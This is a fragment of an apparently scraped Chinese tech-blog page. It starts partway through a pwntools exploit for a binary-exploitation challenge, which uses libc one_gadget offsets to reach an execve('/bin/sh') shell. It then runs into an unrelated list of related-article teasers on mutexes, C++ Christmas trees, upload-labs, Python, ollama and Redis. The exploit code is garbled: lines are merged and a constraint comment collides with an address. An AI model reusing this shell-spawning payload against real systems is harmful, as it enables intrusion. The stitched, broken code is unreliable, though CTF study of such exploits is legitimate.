constraints:[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv0xd5c07 execve("/bin/sh", rsp+0x70, environ)
constraints:[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
oggs=[i+libc.address for i in [0x3f3e6,0x3f43a,0xd5c07]]
payload=payload.replace(b'waaaaaae',p64(oggs[1]))
io.sendlineafter(b'message:',payload)
io.recvuntil(b"(1:no)")
for _ in range(20):io.sendline(b'1\n'*5)io.sendlineafter(b'message:',payload)sleep(1)
io.interactive()
相关文章:
【我的 PWN 学习手札】IO_FILE 之 stdin任意地址写
我们知道,stdin会往“缓冲区”先读入数据,如果我们劫持这个所谓“缓冲区”到其他地址呢?是否可以读入数据到任意地址?答案是肯定的。 注意!代码中的“-------”分隔,是为了区分一条调用链上不同代码片段&am…...
<mutex>注释 11:重新思考与猜测、补充锁的睡眠与唤醒机制,结合 linux0.11 操作系统代码的辅助(上)
(46)问题的起源: 因为上面的内核代码,我们编写多线程代码时,对手里的家伙事不那么自信。但我们知道,多线程在竞争锁时,若得不到锁,会进入睡眠,并会在被唤醒后重新尝试得…...
C/C++圣诞树
系列文章 序号直达链接1C/C爱心代码2C/C跳动的爱心3C/C李峋同款跳动的爱心代码4C/C满屏飘字表白代码5C/C大雪纷飞代码6C/C烟花代码7C/C黑客帝国同款字母雨8C/C樱花树代码9C/C奥特曼代码10C/C精美圣诞树11C/C俄罗斯方块12C/C贪吃蛇13C/C孤单又灿烂的神-鬼怪14C/C闪烁的爱心15C…...
upload-labs-master第21关超详细教程
目录 环境配置解题思路利用漏洞 操作演示 环境配置 需要的东西 phpstudy-2018 链接: phpstudy-2018 提取码:0278 32 位 vc 9 和 11 运行库 链接: 运行库 提取码:0278 upload-labs-master 靶场 链接: upload-lasb-ma…...
Python基础——数学运算
目录 1. 算术运算符 2. 比较运算符 3. 赋值运算符 4. 逻辑运算符 5. 成员运算符 6. 身份运算符 7. 三目运算符 Python数学计算通过多种运算符来执行,常用的运算符类型包括算术运算符、比较运算符、赋值运算符、逻辑运算符、成员运算符、身份运算符、三目…...
ubuntu 安装更新 ollama新版本
ubuntu 安装更新 ollama新版本 我这里是 2024-12-18 ollama 版本是 0.5.3 1手动下载 ollama-linux-amd64.tgz https://github.com/ollama/ollama/releases 2下载脚本 https://ollama.com/install.sh install.sh 和 ollama-linux-amd64.tgz 在相同路径下 修改:…...
汽车IVI中控开发入门及进阶(45):凌阳科技车载娱乐芯片
概述: Sunplus科技有限公司成立于1990年,是一家领先的多媒体和汽车应用芯片提供商,如DVD播放器、便携式DVD播放器、家庭娱乐音频产品、汽车信息娱乐和高级驾驶辅助系统(ADAS)。与此同时,凌阳正在为消费类、便携式和连接设备上的广泛应用提供高速I/O IP、高性能数据转换I…...
Linux export命令
本文来自智谱清言 --------- 在Linux系统中,export 是一个用来设置环境变量的命令。 环境变量是操作系统运行时用于存储有关系统环境的信息的变量,它们对于用户和程序都是可访问的。下面是关于 export 命令的一些基本用法: 基本语法 ba…...
AI自我进化的新篇章:谷歌DeepMind推出苏格拉底式学习,语言游戏解锁无限潜能
各位AI爱好者、技术研究者,大家好!今天我们来聊聊一个令人兴奋的AI研究新进展——谷歌DeepMind推出的“苏格拉底式学习”方法。这项研究的独特之处在于,它让AI在没有外部数据的情况下,通过“语言游戏”实现自我进化,这…...
【BUG】记一次context canceled的报错
文章目录 案例分析gorm源码解读gin context 生命周期context什么时候cancel的什么时候context会被动cancel掉呢? 野生协程如何处理 案例分析 报错信息 {"L":"ERROR","T":"2024-12-17T11:11:33.0050800","file"…...
JAVA前端开发中type=“danger“和 type=“text“的区别
在前端开发中,type 属性通常用于指定按钮或其他元素的样式或行为。不同的框架和库可能对 type 属性有不同的定义和用法。常见的框架包括 Bootstrap、Ant Design(antd)、Element Plus 等。下面我将分别介绍在这些框架中 type"danger"…...
sqlite3 支持位运算 和view和 triger
数据设置条件以后可以.根据门限自动调整其他的值 由数据库记录修改时间,及记录-> 网元设备的告警产生时间,设置超时清除时间,记录系统的原始时间戳 CPp 有 sqlite 支持 json 导出字符串,json 库将字符串,映射为结构体 triger update table 更新到一个 可设置参数列表 ,view …...
Mysql复习(一)
数据库系统的核心是( 数据库管理系统 )。 以下的标识符中符合标识符命名规则的有几个?(3个) 3abc7, abc73, bc73a, c73ab,*73abc 标识符的第一个字符允许包括哪些符号?( _ 或者 或者 #) 关系表达式运算的…...
Redis bitmaps 使用
应用场景: 记录id为 1 的用户,2024年12月签到情况,并统计; 记录 1号签到 zxys-redis:0>setbit 1:202412 1 1 记录 2号签到 zxys-redis:0>setbit 1:202412 2 1 记录 3号未签到 zxys-redis:0>setbit 1:202412 3 0 …...
计算无人机俯拍图像的地面采样距离(GSD)矩阵
引言 在无人机遥感、测绘和精细农业等领域,地面采样距离(Ground Sampling Distance,简称 GSD)是一个非常重要的指标。GSD 是指图像中每个像素在地面上实际代表的物理距离,通常以米或厘米为单位。GSD 决定了图像的空间…...
Java基础 | 数据库的命名规范
数据库的命名规范 1. 基本原则2. 命名规范详解2.1 命名禁止项2.2 命名规范3. 通用字段规范4. 特殊表命名建议 1. 基本原则 统一性:全库采用一致的命名规范简洁性:在表达清晰的前提下尽量简短规范性:遵循数据库标准规范可读性:命名…...
计算机网络基础(2):网络安全/ 网络通信介质
1. 网络安全威胁 网络安全:目的就是要让网络入侵者进不了网络系统,及时强行攻入网络,也拿不走信息,改不了数据,看不懂信息。 事发后能审查追踪到破坏者,让破坏者跑不掉。 网络威胁来自多方面:…...
Reactor
文章目录 正确的理解发送double free问题 1.把我们的reactor进行拆分2.链接管理3.Reactor的理论 listensock只需要设置_recv_cb,而其他sock,读,写,异常 所以今天写nullptr其实就不太对,添加为空就没办法去响应事件 获…...
介绍 Html 和 Html 5 的关系与区别
HTML(HyperText Markup Language)是构建网页的标准标记语言,而 HTML5 是 HTML 的最新版本,包含了一些新的功能、元素、API 和属性。HTML5 相对于早期版本的 HTML(比如 HTML4)有许多重要的改进和变化。以下是…...
已有 containerd 的情况下部署二进制 docker 共存
文章目录 [toc]学习目的开始学习dockerd启动 containerd准备配置文件启动 containerd 启动 docker准备配置文件启动 docker 环境验证停止 docker 和 containerd 学习目的 使用容器的方式做一些部署的交付,相对方便很多,不需要担心别人的环境缺少需要的依…...
Springboot @Transactional使用时需注意的几个问题
一、事务的隔离级别 在Springboot应用中,如果我们想实现方法一旦执行有异常产生,就触发事务回滚,可以在方法上面添加Transactional注解。如果应用采用mysql数据库,虽然mysql本身也有事务隔离机制,但在Sping数据库的应…...
西游记战力排名、笔记等
文章目录 战力排名对西游记的理解各个版本游戏题材西游记关卡和妖怪 西游记家喻户晓,没有谁不知道吧,无论是电视剧、影视,还是小说,乃至游戏,很多地方都有西游记的身影。 虽然知道,但总不如对三国啊、水浒啊…...
(2024.12)Ubuntu20.04安装ZED-SDK
一.官网地址 ZED SDK 4.2 - Download | Stereolabs 选择适配版本进行下载 二.安装程序 下载完成后,进入文件目录,打开终端,输入: chmod x ZED_SDK_Ubuntu20_cuda11.8_v4.2.2.zstd.run ./ZED_SDK_Ubuntu20_cuda11.8_v4.2.2.zst…...
Pytorch | 从零构建GoogleNet对CIFAR10进行分类
Pytorch | 从零构建GoogleNet对CIFAR10进行分类 CIFAR10数据集GoogleNet网络结构特点网络整体架构应用与影响Inceptionv1到Inceptionv2 GoogleNet结构代码详解结构代码代码详解Inception 类初始化方法前向传播 forward GoogleNet 类初始化方法前向传播 forward 训练过程和测试结…...
蓝桥杯刷题——day9
蓝桥杯刷题——day9 题目一题干解题思路一代码解题思路二代码 题目二题干解题思路代码 题目一 题干 小蓝最近在研究一种浮点数的表示方法:R格式。对于一个大于0的浮点数d,可以用R格式的整数来表示。给定一个转换参数n,将浮点数转换为R格式整…...
ffmpeg翻页转场动效的安装及使用
文章目录 前言一、背景二、选型分析2.1 ffmpeg自带的xfade滤镜2.2 ffmpeg使用GL Transition库2.3 xfade-easing项目三、安装3.1、安装依赖([参考](https://trac.ffmpeg.org/wiki/CompilationGuide/macOS#InstallingdependencieswithHomebrew))3.2、获取ffmpeg源码3.3、融合xf…...
分布式刚度编织,让可穿戴触觉更出色 ——Haptiknit
大家好!今天来了解一项非常有趣的科技成果 ——“Haptiknit:用于可穿戴触觉的分布式刚度编织”——《Haptiknit: Distributed stiffness knitting for wearable haptics》发表于《SCIENCE ROBOTICS》。在现代科技发展中,可穿戴触觉设备越来越…...
Elasticsearch:什么是查询语言?
查询语言定义 查询语言包括数据库查询语言 (database query language - DQL),是一种用于查询和从数据库检索信息的专用计算机语言。它充当用户和数据库之间的接口,使用户能够管理来自数据库管理系统 (database management system - DBMS) 的数据。 最广…...
PyQt介绍
**PyQt 和 PySide (Qt for Python) 简介** **PyQt** 和 **PySide** 是 Python 中用于开发图形用户界面 (GUI) 应用程序的两个主要框架,它们都是基于 Qt 库的绑定。Qt 是一个跨平台的应用程序开发框架,广泛用于创建图形用户界面、应用程序开发以及嵌入式…...
Oracle 数据库函数的用法(一)
Oracle数据库提供了大量的内置函数,可以用于完成各种操作,如字符串操作,数学计算,日期时间处理,条件判断,序列生成,聚合统计等。以下是一些常用的Oracle数据库函数: 一、oracle 使用…...
labelme标签批量转换数据集json_to_dataset
文章目录 labelme标签批量转换数据集json_to_dataset转换原理单张图片转换多张图片批量转换bat脚本循环法 标注图片提取标注图片转单通道 labelme标签批量转换数据集json_to_dataset 转自labelme批量制作数据集教程。 转换原理 在安装了labelme的虚拟环境中有一个labelme_js…...
《QT 5.14.1 搭建 opencv 环境全攻略》
《QT 5.14.1 搭建 opencv 环境全攻略》 一、引言二、准备工作(一)软件下载(二)系统环境确认 三、安装 QT 5.14.1(一)安装包下载与运行(二)环境变量配置 四、OpenCV 安装与配置&#…...
Sentry日志管理thinkphp8 tp8 sentry9 sentry8 php8.x配置步骤, tp8自定义异常处理类使用方法
tp8的默认使用的就是composer来管理第三方包, 所以直接使用 composer 来安装 sentry9 即可. 同时tp8和tp5的配置方式不太一样, 这里我们直接使用自定义异常类来处理Sentry的异常. 1. 安装 sentry9 包 # 安装 sentry9 包 composer require "tekintian/sentry9-php" …...
MySQL 基础:开启数据库之旅
MySQL 基础:开启数据库之旅 在当今数字化的时代,数据扮演着至关重要的角色,而数据库管理系统则是存储、管理和操作这些数据的强大工具。MySQL 作为一款广受欢迎的开源关系型数据库管理系统,被广泛应用于各类网站、应用程序以及企业…...
OpenTK 中帧缓存的深度解析与应用实践
摘要: 本文深入探讨了 OpenTK 中帧缓存的使用。首先介绍了帧缓存的基本概念与在图形渲染管线中的关键地位,包括其与颜色缓存、深度缓存、模板缓存等各类缓存的关联。接着详细阐述了帧缓存对象(FBO)的创建、绑定与解绑等操作,深入分析了纹理附件、渲染缓冲区附件在 FBO 中的…...
stm32制作CAN适配器5--WinUsb上位机编写
上次我们要stm32制作了一个基于winusb有canfd适配器,今天我们来制作一个上位机程序来进行报文收发。 上位机还是用以前写好的,只是更改下dll文件。 项目链接器,输入,附加依赖项中增加winusb.lib winusb初始化:#incl…...
【时间之外】IT人求职和创业应知【71】-专利费
目录 2025 ICT产业趋势年会召开,2024年度ICT十大新闻重磅揭晓 海纳致远数字科技申请定制化插件驱动的数据分析专利 阿波罗智联取得语音数据的处理方法、装置、设备和存储介质专利 心勿贪,贵知足。 感谢所有打开这个页面的朋友。人生不如意࿰…...
springboot vue 会员营销系统
springboot vue 会员营销系统介绍 演示地址: 开源版本:http://8.146.211.120:8083/ 完整版本:http://8.146.211.120:8086/ 移动端 http://8.146.211.120:8087/ 简介 欢迎使用springboot vue会员营销系统。本项目包含会员储值卡、套餐卡、计…...
Kafka快速扫描
Architecture 系统间解耦,异步通信,削峰填谷 Topic 消息主题,用于存储消息 Partition 分区,通过扩大分区,可以提高存储量 Broker 部署Kafka服务的设备 Leader kafka主分区 Follwer kafka从分区 高性能之道:…...
scala基础学习(数据类型)-字符串
文章目录 scala中的字符串引号单引号双引号三引号 常用内置函数length 获取字符串长度charAt 字符串元素访问substring 获取字串indexOf 获取字串位置replace 字符串替换toLowerCase,toUpperCase 字符串大小写转换trim 去除首位空白符split 字符串切割以及查看startsWith,endsW…...
网络架构与IP技术:4K/IP演播室制作的关键支撑
随着科技的不断发展,广播电视行业也在不断迭代更新,其中4K/IP演播室技术的应用成了一个引人注目的焦点。4K超高清技术和IP网络技术的结合,不仅提升了节目制作的画质和效果,还为节目制作带来了更高的效率和灵活性。那么4K超高清技术…...
如何优雅的关闭GoWeb服务器
以下内容均为Let’s Go Further内容节选以及作者本人理解。 这里创建了一个后台进程用于捕获关闭信号,在后台进程中,主要内容为: 创建一个缓冲通道 quit使用signal.Notify函数监听并捕获关机信号SIGINT,SIGTERM,在捕获关机信号后…...
Python爬虫(5) --爬取网页视频
文章目录 爬虫爬取视频指定url发送请求UA伪装请求页面 获取想要的数据解析定位定位音视频位置 存放视频完整代码实现总结 爬虫 Python 爬虫是一种自动化工具,用于从互联网上抓取网页数据并提取有用的信息。Python 因其简洁的语法和丰富的库支持(如 requ…...
simulink离散传递函数得到差分方程并用C语言实现
一. 创建连续时间的传递函数 G ( s ) s 2 217 s s 2 384 s 8989 G(s) \frac{s^2217s}{s^2384s8989} G(s)s2384s8989s2217s 二. 离散连续时间的传递函数G(s) 2.1 在matlab中用c2d函数双线性变换法离散G(s), 下面是matlab脚本代码 % 创建连续时间传递函数 …...
第十七届山东省职业院校技能大赛 中职组“网络安全”赛项任务书正式赛题
第十七届山东省职业院校技能大赛 中职组“网络安全”赛项任务书-A 目录 一、竞赛阶段 二、竞赛任务书内容 (一)拓扑图 (二)模块A 基础设施设置与安全加固(200分) (三)B模块安全事件响应/网络安全数据取证/…...
Redis内存碎片详解
什么是内存碎片? 你可以将内存碎片简单地理解为那些不可用的空闲内存。 举个例子:操作系统为你分配了 32 字节的连续内存空间,而你存储数据实际只需要使用 24 字节内存空间,那这多余出来的 8 字节内存空间如果后续没办法再被分配存储其他数…...
Python球球大作战
系列文章 序号直达链接表白系列1Python制作一个无法拒绝的表白界面2Python满屏飘字表白代码3Python无限弹窗满屏表白代码4Python李峋同款可写字版跳动的爱心5Python流星雨代码6Python漂浮爱心代码7Python爱心光波代码8Python普通的玫瑰花代码9Python炫酷的玫瑰花代码10Python多…...
机器学习(Machine Learning)的安全问题
最近看论文,看到了”对抗样本“的一些内容,然后又研究了一下其背后的东西,发现还有”机器学习的安全“这一问题,然后找了几篇博客看了一下,发现了篇2019年的比较有意思的文章,这里整理一下,方编…...
ROS1安装教程
一、环境准备 操作系统:Ubuntu 20.04 LTS 注:为保证系统干净,本文使用Docker进行 演示,如已安装相应的Ubuntu系统请忽略。 Docker安装Ubuntu系统步骤如下: # 拉取镜像 docker pull ubuntu:20.04# 创建容器 docker ru…...
大腾智能CAD:国产云原生三维设计新选择
在快速发展的工业设计领域,CAD软件已成为不可或缺的核心工具。它通过强大的建模、分析、优化等功能,不仅显著提升了设计效率与精度,还促进了设计思维的创新与拓展,为产品从概念构想到实体制造的全过程提供了强有力的技术支持。然而…...